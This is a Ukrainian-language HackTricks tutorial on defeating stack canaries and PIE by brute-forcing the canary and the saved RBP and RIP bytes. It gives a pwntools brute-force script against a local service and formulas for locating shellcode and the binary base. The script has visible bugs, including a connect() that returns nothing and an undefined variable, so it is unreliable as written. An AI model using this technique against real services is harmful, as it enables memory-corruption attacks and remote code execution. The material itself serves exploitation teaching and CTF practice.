BF Addresses in the Stack

Підтримайте HackTricks

Якщо ви маєте справу з бінарним файлом, захищеним канарейкою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.

Зверніть увагу, що checksec може не виявити, що бінарний файл захищений канарейкою, якщо він був статично скомпільований і не може ідентифікувати функцію. Однак ви можете вручну помітити це, якщо ви помітите, що значення зберігається в стеці на початку виклику функції і це значення перевіряється перед виходом.

Brute-Force Адреси

Для обходу PIE вам потрібно витікати деяку адресу. І якщо бінарний файл не витікає жодних адрес, то найкраще зробити це - перебрати RBP та RIP, збережені в стеці вразливої функції. Наприклад, якщо бінарний файл захищений як канарейкою, так і PIE, ви можете почати перебирати канарейку, потім наступні 8 байтів (x64) будуть збережені RBP, а наступні 8 байтів будуть збережені RIP.

Припускається, що адреса повернення всередині стеку належить до основного коду бінарного файлу, який, якщо вразливість знаходиться в коді бінарного файлу, зазвичай буде таким.

Для перебору RBP та RIP з бінарного файлу ви можете зрозуміти, що правильний вгаданий байт є правильним, якщо програма виводить щось або просто не виходить з ладу. Ту саму функцію, що надана для перебору канарейки, можна використовувати для перебору RBP та RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Останнє, що вам потрібно для перемоги над PIE, це обчислити корисні адреси з витікших адрес: RBP та RIP.

З RBP ви можете обчислити де ви пишете свій shell в стеку. Це може бути дуже корисно, щоб знати, де ви збираєтеся записати рядок "/bin/sh\x00" всередині стеку. Щоб обчислити відстань між витікшим RBP та вашим shellcode, ви можете просто встановити точку зупинки після витоку RBP та перевірити де знаходиться ваш shellcode, після цього ви можете обчислити відстань між shellcode та RBP:

INI_SHELLCODE = RBP - 1152

З RIP ви можете обчислити базову адресу PIE-бінарного файлу, що вам знадобиться для створення дійсного ланцюжка ROP. Щоб обчислити базову адресу, просто виконайте objdump -d vunbinary та перевірте розібрані останні адреси:

У цьому прикладі ви можете побачити, що для визначення всього коду потрібно лише 1 байт та півтора, тоді базова адреса в цій ситуації буде витікати з RIP, але закінчуватися на "000". Наприклад, якщо витікло 0x562002970ecf, базова адреса буде 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Покращення

Згідно з деякими спостереженнями з цього посту, можливо, коли витікають значення RBP та RIP, сервер не впаде з деякими значеннями, які не є правильними, і скрипт BF подумає, що він отримав правильні. Це тому, що можливо, деякі адреси просто не зламають його, навіть якщо вони не є точно правильними.

Згідно з цим блог-постом рекомендується додати коротку затримку між запитами до сервера.

Підтримайте HackTricks

Last updated